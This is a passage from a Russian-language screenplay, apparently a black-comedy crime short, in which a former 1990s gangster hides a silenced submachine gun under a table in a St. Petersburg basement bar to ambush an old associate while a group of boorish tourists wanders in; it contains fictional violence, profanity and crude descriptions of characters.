  &lt;p id=&quot;A321&quot;&gt;Залитая кровью подворотня, повсюду следы побоища и раскиданы тела молодых туристов — парни и девушки, в разных интересных позах.&lt;/p&gt;
  &lt;p id=&quot;sbgq&quot;&gt;Где-то вдали слышен детский смех, в соседнем дворе дети играют в футбол. За резной решеткой 19го века, закрывающей выход из двора — шум улицы, там ездят машины и ходят люди.&lt;/p&gt;
  &lt;p id=&quot;ct2V&quot;&gt;У входа в подвальный бар «Дух девяностых» на ступеньках сидит едва живая, залитая кровью юная девушка (19). Мелко дрожит, плачет и прижимает руки к окровавленному животу. &lt;/p&gt;
  &lt;p id=&quot;zCo5&quot;&gt;Ее совсем недавно пырнули ножом.&lt;/p&gt;
  &lt;p id=&quot;SLU6&quot;&gt;Из бара поднимается крепкого вида мужчина (50) со спортивной сумкой через плечо. Одежда немного порвана и в грязи, на руках сбитые костяшки с содранной от свежих ударов кожей. &lt;/p&gt;
  &lt;p id=&quot;cH9Q&quot;&gt;Замечает девушку и присаживается рядом.&lt;/p&gt;
  &lt;p id=&quot;bGDv&quot;&gt;Какое-то время они просто сидят рядом, затем мужчина начинает говорить.&lt;/p&gt;
  &lt;p id=&quot;7dmM&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;uNPn&quot;&gt;             Понимаю, не самый лучший момент для подобных вопросов..&lt;/p&gt;
  &lt;p id=&quot;V19m&quot;&gt;(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)&lt;/p&gt;
  &lt;p id=&quot;Fsf1&quot;&gt;             Но все же..&lt;/p&gt;
  &lt;p id=&quot;iNfX&quot;&gt;             Вы успели.. побывать в Эрмитаже?              &lt;/p&gt;
  &lt;p id=&quot;9lU3&quot;&gt;(камера медленно обводит залитый кровью двор и валяющиеся трупы)&lt;/p&gt;
  &lt;p id=&quot;aklP&quot;&gt;             Там.. просто невероятно красиво!&lt;/p&gt;
  &lt;p id=&quot;QAR3&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;08eG&quot;&gt;2. ИНТ. МАШИНА В ДВИЖЕНИИ.&lt;/h2&gt;
  &lt;p id=&quot;2lLU&quot;&gt;Салон представительского мерседеса. &lt;/p&gt;
  &lt;p id=&quot;LsdC&quot;&gt;Пассажиры на заднем сидении — семейная пара, Михаил — муж, крепкий мужчина в дорогом костюме (50), Анна — жена, красивая ухоженная женщина (40), в дорогой одежде. &lt;/p&gt;
  &lt;p id=&quot;xShY&quot; data-align=&quot;center&quot;&gt;АННА&lt;/p&gt;
  &lt;p id=&quot;UFi1&quot;&gt;(крутит в руке свежую, только вчера напечатанную визитку мужа, затем читает)&lt;/p&gt;
  &lt;p id=&quot;92c8&quot;&gt;             SENIOR VICE PRESIDENT&lt;/p&gt;
  &lt;p id=&quot;IZO4&quot;&gt;             FALCO INVESTMENTS LTD&lt;/p&gt;
  &lt;p id=&quot;FKK8&quot;&gt;(смотрит на мужа с любовью и обожанием)&lt;/p&gt;
  &lt;p id=&quot;f46M&quot;&gt;             Как же я рада, что вышла за тебя, Миша.&lt;/p&gt;
  &lt;p id=&quot;yIyR&quot;&gt;             Все будет хорошо, ты обязательно справишься.&lt;/p&gt;
  &lt;p id=&quot;armg&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;4epE&quot;&gt;             Справлюсь.&lt;/p&gt;
  &lt;p id=&quot;eJd5&quot;&gt;             Всегда справлялся.&lt;/p&gt;
  &lt;p id=&quot;rxpd&quot; data-align=&quot;center&quot;&gt;АННА             &lt;/p&gt;
  &lt;p id=&quot;VKrd&quot;&gt;             Только пожалуйста не ходи.. Не ходи на эту встречу.&lt;/p&gt;
  &lt;p id=&quot;C8Ek&quot;&gt;             Это страшные и жестокие люди..&lt;/p&gt;
  &lt;p id=&quot;A6lu&quot;&gt;             Сердцем чую — быть беде.&lt;/p&gt;
  &lt;p id=&quot;lnES&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;ef4H&quot;&gt;(кладет ладонь поверх руки жены и успокаивает):&lt;/p&gt;
  &lt;p id=&quot;Pfez&quot;&gt;             Все будет нормально, дорогая.&lt;/p&gt;
  &lt;p id=&quot;dLhD&quot;&gt;             Девяностые давно прошли. Все успокоились.. &lt;/p&gt;
  &lt;p id=&quot;8gF0&quot;&gt;(пауза) &lt;/p&gt;
  &lt;p id=&quot;fqgI&quot;&gt;             ..кто выжил конечно. &lt;/p&gt;
  &lt;p id=&quot;kUDB&quot;&gt;             Теперь у всех семьи, дети. Бизнес, в конце концов. &lt;/p&gt;
  &lt;p id=&quot;eEbd&quot;&gt;             Все стало совсем по-другому, понимаешь?&lt;/p&gt;
  &lt;p id=&quot;JjGL&quot;&gt;             Другая жизнь кругом.&lt;/p&gt;
  &lt;p id=&quot;LHtd&quot;&gt;(кивает на строящийся за окном новый жилой комплекс)&lt;/p&gt;
  &lt;p id=&quot;g0wa&quot;&gt;             Вон сколько всего понастроили!              &lt;/p&gt;
  &lt;p id=&quot;TTpU&quot;&gt;(смотрит в даль, рассматривая детали)&lt;/p&gt;
  &lt;p id=&quot;3Ym2&quot;&gt;             Даа..&lt;/p&gt;
  &lt;p id=&quot;rHrz&quot;&gt;             Как же тут все изменилось..&lt;/p&gt;
  &lt;p id=&quot;x7p9&quot;&gt;(показывает пальцем вдаль)&lt;/p&gt;
  &lt;p id=&quot;iDxl&quot;&gt;             Вот тут. &lt;/p&gt;
  &lt;p id=&quot;J0z5&quot;&gt;             Тут когда-то пустырь был.&lt;/p&gt;
  &lt;p id=&quot;xYMi&quot;&gt;             Где Коляна зарезали..  &lt;/p&gt;
  &lt;p id=&quot;eGrn&quot;&gt;             А теперь погляди: дома красивые, дети играют. Мамы с колясками.&lt;/p&gt;
  &lt;p id=&quot;mbHB&quot;&gt;             Красота!&lt;/p&gt;
  &lt;p id=&quot;wTMO&quot;&gt;(внезапно вспоминая, со смешком обращаясь к жене) &lt;/p&gt;
  &lt;p id=&quot;Phxz&quot;&gt;             Шефа-то, шефа — помнишь?&lt;/p&gt;
  &lt;p id=&quot;jlEE&quot;&gt;             Сказали артрит разбил, на старости лет. &lt;/p&gt;
  &lt;p id=&quot;Ofmq&quot;&gt;             Передвигается теперь в инвалидном кресле, представляешь?&lt;/p&gt;
  &lt;p id=&quot;Utu1&quot;&gt;(укоризненно)&lt;/p&gt;
  &lt;p id=&quot;F0FE&quot;&gt;             А ты все боишься..&lt;/p&gt;
  &lt;p id=&quot;SpbH&quot;&gt;             Не надо никого бояться.  &lt;/p&gt;
  &lt;p id=&quot;dBeq&quot;&gt;             Эта встреча лишь формальность. &lt;/p&gt;
  &lt;p id=&quot;TkrO&quot;&gt;             Может им самим теперь моя помощь нужна. &lt;/p&gt;
  &lt;p id=&quot;aJjq&quot;&gt;(смотрит в окно на городской пейзаж)&lt;/p&gt;
  &lt;p id=&quot;m7nS&quot;&gt;             С домом престарелых.&lt;/p&gt;
  &lt;p id=&quot;PzGL&quot; data-align=&quot;center&quot;&gt;АННА&lt;/p&gt;
  &lt;p id=&quot;WdBK&quot;&gt;(успокаиваясь)&lt;/p&gt;
  &lt;p id=&quot;ivuI&quot;&gt;             Только не засиживайтесь. &lt;/p&gt;
  &lt;p id=&quot;Pdbn&quot;&gt;             Вечером у нас банкет. &lt;/p&gt;
  &lt;p id=&quot;kbqY&quot;&gt;             Будет первый зам губернатора, с женой. Важные люди. &lt;/p&gt;
  &lt;p id=&quot;x8Xa&quot;&gt;             Помнишь?&lt;/p&gt;
  &lt;p id=&quot;sIyr&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;8thm&quot;&gt;             Разумеется. &lt;/p&gt;
  &lt;p id=&quot;cg3Q&quot;&gt;             Такую рожу забудешь. &lt;/p&gt;
  &lt;p id=&quot;PG3m&quot;&gt;             Еще и ночью будет сниться.&lt;/p&gt;
  &lt;p id=&quot;A60B&quot;&gt;             Со своими процентами.&lt;/p&gt;
  &lt;p id=&quot;hmyU&quot;&gt;             Ладно.&lt;/p&gt;
  &lt;p id=&quot;wfEB&quot;&gt;             Все будет быстро и.. четко, дорогая.&lt;/p&gt;
  &lt;p id=&quot;I45v&quot;&gt;(Михаил шутливо отдает жене честь)&lt;/p&gt;
  &lt;p id=&quot;2FaD&quot;&gt;             Артур уже наверное и забыл как дела делаются. &lt;/p&gt;
  &lt;p id=&quot;zJid&quot;&gt;             Спился поди давно. &lt;/p&gt;
  &lt;p id=&quot;VxiX&quot;&gt;             Или сторчался.&lt;/p&gt;
  &lt;p id=&quot;F1ur&quot;&gt;             Жизнь тут никого не щадит. &lt;/p&gt;
  &lt;p id=&quot;VRZl&quot;&gt;Начало второй сцены начинается с реплик выше.&lt;/p&gt;
  &lt;p id=&quot;BXvI&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;L6uf&quot;&gt;3. НАТ. УЛИЦА СТАРОГО ПИТЕРА.&lt;/h2&gt;
  &lt;p id=&quot;5jjK&quot;&gt;Видим старого, крепкого мужчину в спортивном костюме (50), кепке и с большой спортивной сумкой. Лица не видно.&lt;/p&gt;
  &lt;p id=&quot;O7qh&quot;&gt;Мужчина сворачивает в подворотню, видна старая вывеска: &lt;/p&gt;
  &lt;p id=&quot;cZGH&quot;&gt;БАР «ДУХ ДЕВЯНОСТЫХ». ВОДКА, ТАНЦЫ, НОСТАЛЬГИЯ. РАБОТАЕМ ДО ПОСЛЕДНЕГО КЛИЕНТА.&lt;/p&gt;
  &lt;p id=&quot;66R7&quot;&gt;Внутри оказывается небольшой уютный дворик, где в подвале одного из домов и расположен искомый кабак.&lt;/p&gt;
  &lt;p id=&quot;HRRN&quot;&gt;Вниз ведут затертые ступеньки.&lt;/p&gt;
  &lt;p id=&quot;t0Zj&quot;&gt;Кабак старый, с оформлением в стиле начала 90х. На стенах развешаны плакаты с героями боевиков, по радио играет попса тех времен. &lt;/p&gt;
  &lt;p id=&quot;5NaG&quot;&gt;Под потолком медленно крутится старый вентилятор.&lt;/p&gt;
  &lt;p id=&quot;CLl3&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;vyAT&quot;&gt;4. ИНТ. БАР ДУХ ДЕВЯНОСТЫХ&lt;/h2&gt;
  &lt;p id=&quot;ecvD&quot;&gt;Мужчина спускается вниз, заходит в заведение и окидывает взглядом пустое помещение.&lt;/p&gt;
  &lt;p id=&quot;nmXd&quot; data-align=&quot;center&quot;&gt;АРТУР           &lt;/p&gt;
  &lt;p id=&quot;xUUC&quot;&gt;(втягивая носом воздух)&lt;/p&gt;
  &lt;p id=&quot;vZBa&quot;&gt;             Даже воняет как в былые времена.&lt;/p&gt;
  &lt;p id=&quot;0WEu&quot;&gt;(на распев)&lt;/p&gt;
  &lt;p id=&quot;bpx6&quot;&gt;             Это все мое, родное!&lt;/p&gt;
  &lt;p id=&quot;QI10&quot;&gt;(проходя к стойке)&lt;/p&gt;
  &lt;p id=&quot;fJba&quot;&gt;             Как же давно я тут не был.&lt;/p&gt;
  &lt;p id=&quot;LVWB&quot;&gt;Замечает бармена и подходит прямо к стойке. Кладет руки на стойку, наклоняется. Бармен — тощий тип с крысиной мордой вместо лица, неопределенного возраста. &lt;/p&gt;
  &lt;p id=&quot;M6KF&quot;&gt;Медленно протирает стаканы и смотрит с нескрываемым презрением.&lt;/p&gt;
  &lt;p id=&quot;cax2&quot;&gt;             Раньше тут был другой бармен..&lt;/p&gt;
  &lt;p id=&quot;iJws&quot;&gt;             Ты видимо новенький? &lt;/p&gt;
  &lt;p id=&quot;dfvo&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;jbRf&quot;&gt;(окидывает взглядом клиента, оценивая возраст и платежеспособность)&lt;/p&gt;
  &lt;p id=&quot;fJKp&quot;&gt;             В очереди на погребение точно буду за вами. &lt;/p&gt;
  &lt;p id=&quot;sOel&quot;&gt;             Чего изволите, уважаемый?&lt;/p&gt;
  &lt;p id=&quot;VCco&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;CBQv&quot;&gt;(пристально смотрит на бармена)&lt;/p&gt;
  &lt;p id=&quot;Jaqv&quot;&gt;             Кофею. &lt;/p&gt;
  &lt;p id=&quot;wf7r&quot;&gt;             Американо, со сливками.&lt;/p&gt;
  &lt;p id=&quot;rTqW&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;RYSc&quot;&gt;(гнусно ухмыляясь, огорченный что клиент не заказал дорогого алкоголя)&lt;/p&gt;
  &lt;p id=&quot;F1RT&quot;&gt;             Что, в Шаббат не работаем, по субботам не пьем?&lt;/p&gt;
  &lt;p id=&quot;E2d7&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;2fTg&quot;&gt;             Врачи-убийцы пить запретили.&lt;/p&gt;
  &lt;p id=&quot;KmQ8&quot;&gt;             Но не переживай, сейчас друг подойдет. &lt;/p&gt;
  &lt;p id=&quot;MQn2&quot;&gt;             Ему можно. &lt;/p&gt;
  &lt;p id=&quot;V7b5&quot;&gt;(с ухмылкой)&lt;/p&gt;
  &lt;p id=&quot;kMN3&quot;&gt;             Ему походу теперь все можно, без моральных терзаний и последствий для здоровья.&lt;/p&gt;
  &lt;p id=&quot;P71V&quot;&gt;             Кассу заведению точно сделаем.&lt;/p&gt;
  &lt;p id=&quot;mfmp&quot;&gt;             Устанете полы оттирать.&lt;/p&gt;
  &lt;p id=&quot;vpTu&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;yRrs&quot;&gt;(какое-то время шарится под стойкой, затем хмуро выдает)&lt;/p&gt;
  &lt;p id=&quot;JEZG&quot;&gt;             Сливок нет, только молоко. &lt;/p&gt;
  &lt;p id=&quot;w73P&quot;&gt;             Сухое.&lt;/p&gt;
  &lt;p id=&quot;hmOb&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;mGJ2&quot;&gt;             Ну кто бы сомневался.  &lt;/p&gt;
  &lt;p id=&quot;3S6E&quot;&gt;             Неси что есть. &lt;/p&gt;
  &lt;p id=&quot;B0BX&quot;&gt;             Сахару только не надо, я и так сладкий.&lt;/p&gt;
  &lt;p id=&quot;YPSa&quot;&gt;(озираясь и окидывая взглядом помещение)&lt;/p&gt;
  &lt;p id=&quot;cLCY&quot;&gt;             У меня с вашим заведением крепкая духовная связь и теплые воспоминания.&lt;/p&gt;
  &lt;p id=&quot;xPAf&quot;&gt;(показывает на угловое место у окна)&lt;/p&gt;
  &lt;p id=&quot;HYp8&quot;&gt;             Воон там когда-то давно меня били головой о стену. &lt;/p&gt;
  &lt;p id=&quot;ldjJ&quot;&gt;             Так и приземлюсь, хорошо?  &lt;/p&gt;
  &lt;p id=&quot;hrZz&quot;&gt;            &lt;/p&gt;
  &lt;p id=&quot;91wg&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;ZKeY&quot;&gt;             Бомболюк только свой держите закрытым, будьте так любезны.&lt;/p&gt;
  &lt;p id=&quot;kcr6&quot;&gt;             А то в вашем возрасте клапан уже не держит.&lt;/p&gt;
  &lt;p id=&quot;ijLB&quot;&gt;Бармен уходит на кухню, готовить заказ. &lt;/p&gt;
  &lt;p id=&quot;k8pc&quot;&gt;Артур направляется к столику.&lt;/p&gt;
  &lt;p id=&quot;mPSg&quot;&gt;Столик крепкий, старый, с железной основой, прикрученной к стене и полу.  Чтоб можно было и сплясать и разбить лицо дорогого гостя о рабочую поверхность.&lt;/p&gt;
  &lt;p id=&quot;C9xR&quot;&gt;Окинув взглядом зал и убедившись что больше никого нет, а бармен где-то далеко на кухне, Артур быстро раскрывает сумку, достает &lt;a href=&quot;https://en.wikipedia.org/wiki/Heckler_%2526_Koch_MP5&quot; target=&quot;_blank&quot;&gt;Heckler &amp;amp; Koch MP5&lt;/a&gt;, привинчивает глушитель и спускается под столик.&lt;/p&gt;
  &lt;p id=&quot;G4Ez&quot;&gt;Под столиком оказывается приделан специальный крепеж, старый и ржавый но крепкий. Камера показывает крупным планом старую наклейку из жвачки Turbo, приклеенную снизу стола.&lt;/p&gt;
  &lt;p id=&quot;QmJs&quot;&gt;Артур взводит оружие, переключает на стрельбу очередями и крепит оружие под столом. Садится за столик, проверяет расположение оружия и цели — делает все это явно не первый раз.&lt;/p&gt;
  &lt;p id=&quot;NG5y&quot;&gt;Убедившись что все хорошо, наконец успокаивается.&lt;/p&gt;
  &lt;p id=&quot;S7ul&quot;&gt;Смотрит на кусочек неба видный в маленьком окне под потолком — кабак расположен в подвале.&lt;/p&gt;
  &lt;h2 id=&quot;MVFA&quot;&gt;5. НАТ. У ВХОДА В БАР&lt;/h2&gt;
  &lt;p id=&quot;CYGN&quot;&gt;Камера показывает тот самый кусочек неба, но уже без рамки окна -тот же угол съемки. Затем опускается вниз, к основной сцене.&lt;/p&gt;
  &lt;p id=&quot;1voq&quot;&gt;У входа в подворотню, где расположен кабак «Дух девяностых» останавливается тот самый представительский мерседес, на аренду которого ушла половина бюджета. &lt;/p&gt;
  &lt;p id=&quot;nvzM&quot;&gt;Открывается задняя дверь и из машины выходит Михаил.&lt;/p&gt;
  &lt;p id=&quot;FEYZ&quot;&gt;Используется параллельный монтаж, во время диалога Михаила с женой показываются манипуляции с автоматом.&lt;/p&gt;
  &lt;p id=&quot;DWZt&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;vnjZ&quot;&gt;(обращаясь к жене, которая осталась в машине)&lt;/p&gt;
  &lt;p id=&quot;qF1z&quot;&gt;             Дорогая все будет нормально, я быстро.  &lt;/p&gt;
  &lt;p id=&quot;YRuJ&quot;&gt;             Сходи пока с детьми в театр.&lt;/p&gt;
  &lt;p id=&quot;j9rT&quot;&gt;             В какой?&lt;/p&gt;
  &lt;p id=&quot;oF0o&quot;&gt;             Ну.. В какой-нибудь. &lt;/p&gt;
  &lt;p id=&quot;2k8j&quot;&gt;             Это же Питер, дорогая. Тут культуры  — завались. &lt;/p&gt;
  &lt;p id=&quot;0Hnw&quot;&gt;             В кого не пальни — обязательно попадешь в режиссера или еще кого культурного.&lt;/p&gt;
  &lt;p id=&quot;gHwY&quot;&gt;             Конечно шучу, что ты.&lt;/p&gt;
  &lt;p id=&quot;aqE9&quot;&gt;             Нету у меня никакого оружия при себе, госспади..  &lt;/p&gt;
  &lt;p id=&quot;utMp&quot;&gt;             Я деловой человек!&lt;/p&gt;
  &lt;p id=&quot;tEBD&quot;&gt;             Тоже люблю тебя.&lt;/p&gt;
  &lt;p id=&quot;E0dy&quot;&gt;             Езжай с спокойной душой, все будет нормально.&lt;/p&gt;
  &lt;p id=&quot;pBhM&quot;&gt;             Хорошо провести время.&lt;/p&gt;
  &lt;p id=&quot;jov4&quot;&gt;(закрывает дверь, дает знак водителю уезжать, машина уезжает)&lt;/p&gt;
  &lt;p id=&quot;ZS35&quot;&gt;В камеру:&lt;/p&gt;
  &lt;p id=&quot;ynCM&quot;&gt;             Ну что, пришло время поработать.&lt;/p&gt;
  &lt;p id=&quot;XyGo&quot;&gt;Михаил разворачивается и в хорошем настроении, с улыбкой идет по направлению к кабаку. &lt;/p&gt;
  &lt;h2 id=&quot;vW0e&quot;&gt;6. ИНТ. БАР. СТОЛИК АРТУРА&lt;/h2&gt;
  &lt;p id=&quot;fGKB&quot;&gt;Бармен с типичным для Питера выражением лица из смеси брезгливости и презрения несет кофе. Кофе хреново приготовлен, остыл еще и залит сверх всякой меры молоком. &lt;/p&gt;
  &lt;p id=&quot;w3Ji&quot;&gt;Артур смотрит на все это, морщится и обращается к бармену.&lt;/p&gt;
  &lt;p id=&quot;fAW2&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;t06E&quot;&gt;             Хочешь расскажу, почему всегда заказываю только Американо?&lt;/p&gt;
  &lt;p id=&quot;BvwV&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;CaDg&quot;&gt;             Потому что в вашем сельпо другого не наливают?&lt;/p&gt;
  &lt;p id=&quot;c58y&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;DXPH&quot;&gt;(укоризненно)&lt;/p&gt;
  &lt;p id=&quot;GiSS&quot;&gt;             Не стоит хамить взрослым и незнакомым людям. &lt;/p&gt;
  &lt;p id=&quot;Fo4k&quot;&gt;             Говорят, плохая примета.&lt;/p&gt;
  &lt;p id=&quot;LS7h&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;tjii&quot;&gt;             Какой чек такой и сервис, уважаемый. &lt;/p&gt;
  &lt;p id=&quot;jFIr&quot;&gt;             Хорошее отношение к клиенту начинается с третьей стопки. &lt;/p&gt;
  &lt;p id=&quot;RCAB&quot;&gt;Бармен разворачивается и собирается уходить.&lt;/p&gt;
  &lt;h2 id=&quot;595h&quot;&gt;7. ИНТ. БАР. ВХОД&lt;/h2&gt;
  &lt;p id=&quot;SJbh&quot;&gt;На лестнице, ведущей вниз, раздаются цокающие шаги и в мрачный, подвальный кабак «Дух девяностых», заходит статный мужчина в дорогом костюме и лакированных туфлях — бизнесмен Михаил. &lt;/p&gt;
  &lt;p id=&quot;M0SB&quot;&gt;В далеком прошлом —  «Мишаня Козырной».&lt;/p&gt;
  &lt;p id=&quot;1Y4f&quot;&gt;На веселую молодость намекают теперь лишь старые татуировки на пальцах. Европейские менты и кредиторы все равно не читают по-русски.&lt;/p&gt;
  &lt;p id=&quot;x5oM&quot;&gt;Бармен замечает гостя, оценив дорогой костюм его лицо расплывается в широкой улыбке. &lt;/p&gt;
  &lt;p id=&quot;qWnA&quot;&gt;Немедленно подрывается к богатому гостю.&lt;/p&gt;
  &lt;p id=&quot;QB2e&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;3Ci4&quot;&gt;             Рады приветствовать первого приличного человека в нашем заведении! &lt;/p&gt;
  &lt;p id=&quot;Mttq&quot;&gt;             Чего изволите?&lt;/p&gt;
  &lt;p id=&quot;Ds1U&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;XDey&quot;&gt;(окинув зал взглядом, равнодушно)&lt;/p&gt;
  &lt;p id=&quot;e94k&quot;&gt;             Меня ожидают.&lt;/p&gt;
  &lt;p id=&quot;pSfF&quot;&gt;Замечает Артура и направляется к нему, бармен следует за ним по пятам. Подходят к столику. &lt;/p&gt;
  &lt;p id=&quot;HLAN&quot;&gt;Артур лишь молча смотрит, не предлагает сесть, не тянет руку. Наконец молчание прерывается.&lt;/p&gt;
  &lt;p id=&quot;R5U8&quot; data-align=&quot;center&quot;&gt;АРТУР &lt;/p&gt;
  &lt;p id=&quot;6WSF&quot;&gt;(обращаясь к бармену)&lt;/p&gt;
  &lt;p id=&quot;m1om&quot;&gt;             Иди погуляй. &lt;/p&gt;
  &lt;p id=&quot;w8el&quot;&gt;             Взрослым дядям надо поговорить.&lt;/p&gt;
  &lt;p id=&quot;XM5h&quot; data-align=&quot;center&quot;&gt;МИХАИЛ &lt;/p&gt;
  &lt;p id=&quot;elVY&quot;&gt;(поворачивается к бармену и показав идеальную белозубую улыбку дает знак отойти)&lt;/p&gt;
  &lt;p id=&quot;lla7&quot;&gt;             Вас не затруднит? &lt;/p&gt;
  &lt;p id=&quot;81Hc&quot;&gt;             Мы чуть попозже позовем. &lt;/p&gt;
  &lt;p id=&quot;cgtV&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;mVhQ&quot;&gt;Бармен с поклоном удаляется. Михаил молча садится за столик, точно напротив Артура. Спрятанный под столом автомат он не замечает.&lt;/p&gt;
  &lt;p id=&quot;ZtDY&quot;&gt;Какое-то время они просто сидят, уставившись друг на друга, в напряжении.&lt;/p&gt;
  &lt;p id=&quot;mz4B&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;F1dp&quot;&gt;             Ну здравствуй..&lt;/p&gt;
  &lt;p id=&quot;hxPF&quot;&gt;(пауза)&lt;/p&gt;
  &lt;p id=&quot;fS7H&quot;&gt;             .. друг.&lt;/p&gt;
  &lt;h2 id=&quot;ycuE&quot;&gt;8. ИНТ. БАР. ВХОД&lt;/h2&gt;
  &lt;p id=&quot;619U&quot;&gt;Внезапно в кабак с шумом вваливается группа туристов. Молодые парни и девушки (19-22), студенты, приехавшие в летний Питер на каникулы. &lt;/p&gt;
  &lt;p id=&quot;ziJH&quot;&gt;Молодые необремененные интеллектом лица, дурацкая одежда и полное непонимание опасности ситуации.&lt;/p&gt;
  &lt;p id=&quot;fOJ8&quot;&gt;Пятеро. &lt;/p&gt;
  &lt;p id=&quot;Um07&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;mOpa&quot;&gt;Одета в оверсайз, на шее старый пленочный фотоаппарат, носит круглые очки.&lt;/p&gt;
  &lt;p id=&quot;tyuW&quot;&gt;(обводя взглядом помещение)&lt;/p&gt;
  &lt;p id=&quot;PWgK&quot;&gt;             Вау! Какой винтаж! &lt;/p&gt;
  &lt;p id=&quot;Kq5N&quot;&gt;             Как же тут все ау.. ау... аутенистично! &lt;/p&gt;
  &lt;p id=&quot;S6hN&quot;&gt;(подбегает к стене, увешанной плакатами из 90х, начинает разглядывать и фотографировать)&lt;/p&gt;
  &lt;p id=&quot;6kZA&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;uLQv&quot;&gt;Красив, высок и подкачан. Одет в майку-алкоголичку, на шее фальшивая золотая цепь как у рэперов. Мажор.&lt;/p&gt;
  &lt;p id=&quot;tQPs&quot;&gt;             Ну да, это просто старый подвал. &lt;/p&gt;
  &lt;p id=&quot;n0lL&quot;&gt;             Ничего такого. &lt;/p&gt;
  &lt;p id=&quot;pxbv&quot;&gt;             Но даже в этой дыре я готов засадить своей королеве.&lt;/p&gt;
  &lt;p id=&quot;LgGA&quot;&gt;(прижимает к себе Алину, хватает ее за жопу и смачно в засос целует)&lt;/p&gt;
  &lt;p id=&quot;kT1t&quot; data-align=&quot;center&quot;&gt;ПЕТР &lt;/p&gt;
  &lt;p id=&quot;2ulm&quot;&gt;Друг Макса, мелкий алкоголик и нищеброд, трется рядом и постоянно бухает. В красной кепке с логотипом LA.&lt;/p&gt;
  &lt;p id=&quot;28Lc&quot;&gt;             Вообщет в Париже видали и круче. Мы правда тогда так нажрались, что я плохо помню.. &lt;/p&gt;
  &lt;p id=&quot;CrZI&quot;&gt;             Но было круто! &lt;/p&gt;
  &lt;p id=&quot;rYjm&quot; data-align=&quot;center&quot;&gt;АЛИНА &lt;/p&gt;
  &lt;p id=&quot;NIlB&quot;&gt;Девушка Макса, крашеная блондинка сельско-модельной внешности, сиськи-жопа — все на месте. С накладными ногтями.&lt;/p&gt;
  &lt;p id=&quot;renb&quot;&gt;(расцепившись после засоса с Максом, наконец оглядывает помещение, с презрением)&lt;/p&gt;
  &lt;p id=&quot;AX14&quot;&gt;             Боже ну и дыра.. &lt;/p&gt;
  &lt;p id=&quot;khE1&quot;&gt;             И нахрена вы меня сюда притащили?&lt;/p&gt;
  &lt;p id=&quot;oTxr&quot;&gt;(принюхивается)&lt;/p&gt;
  &lt;p id=&quot;YOqC&quot;&gt;             Тут воняет!&lt;/p&gt;
  &lt;p id=&quot;EY3k&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;ZBgk&quot;&gt;Интеллигентного вида молодой человек, хипстер, парень Лизы.&lt;/p&gt;
  &lt;p id=&quot;fDie&quot;&gt;(обращаясь к Петру)&lt;/p&gt;
  &lt;p id=&quot;1SWy&quot;&gt;            Хотя бы сегодня не нажирайся заранее, а?&lt;/p&gt;
  &lt;p id=&quot;fnPM&quot;&gt;            Нам еще до Петергофа ехать.&lt;/p&gt;
  &lt;p id=&quot;K5PI&quot;&gt;            Снова укачает в дороге и заблюешь все вокруг.. &lt;/p&gt;
  &lt;p id=&quot;tXfS&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;h9Iu&quot;&gt;            Матросов не укачивает!&lt;/p&gt;
  &lt;p id=&quot;e6vH&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;K8Ax&quot;&gt;            Макс скажи ему!&lt;/p&gt;
  &lt;p id=&quot;CHsJ&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;2Cpd&quot;&gt;(обращаясь к подошедшему бармену)&lt;/p&gt;
  &lt;p id=&quot;4wuM&quot;&gt;            У вас тут дамская комната есть?&lt;/p&gt;
  &lt;p id=&quot;S0gW&quot;&gt;            Или в вашем веке их еще не придумали?&lt;/p&gt;
  &lt;p id=&quot;1C2j&quot;&gt;Бармен молча указывает направление, не желая спорить с идиоткой.&lt;/p&gt;
  &lt;p id=&quot;3iz1&quot;&gt;Алина удаляется в указанном направлении, виляя отменной жопой. Остальные направляются к большому столику в центре зала.&lt;/p&gt;
  &lt;p id=&quot;j52c&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;t4Aj&quot;&gt;            Два дебила блин..&lt;/p&gt;
  &lt;p id=&quot;7nCM&quot;&gt;(обращаясь к Петру)&lt;/p&gt;
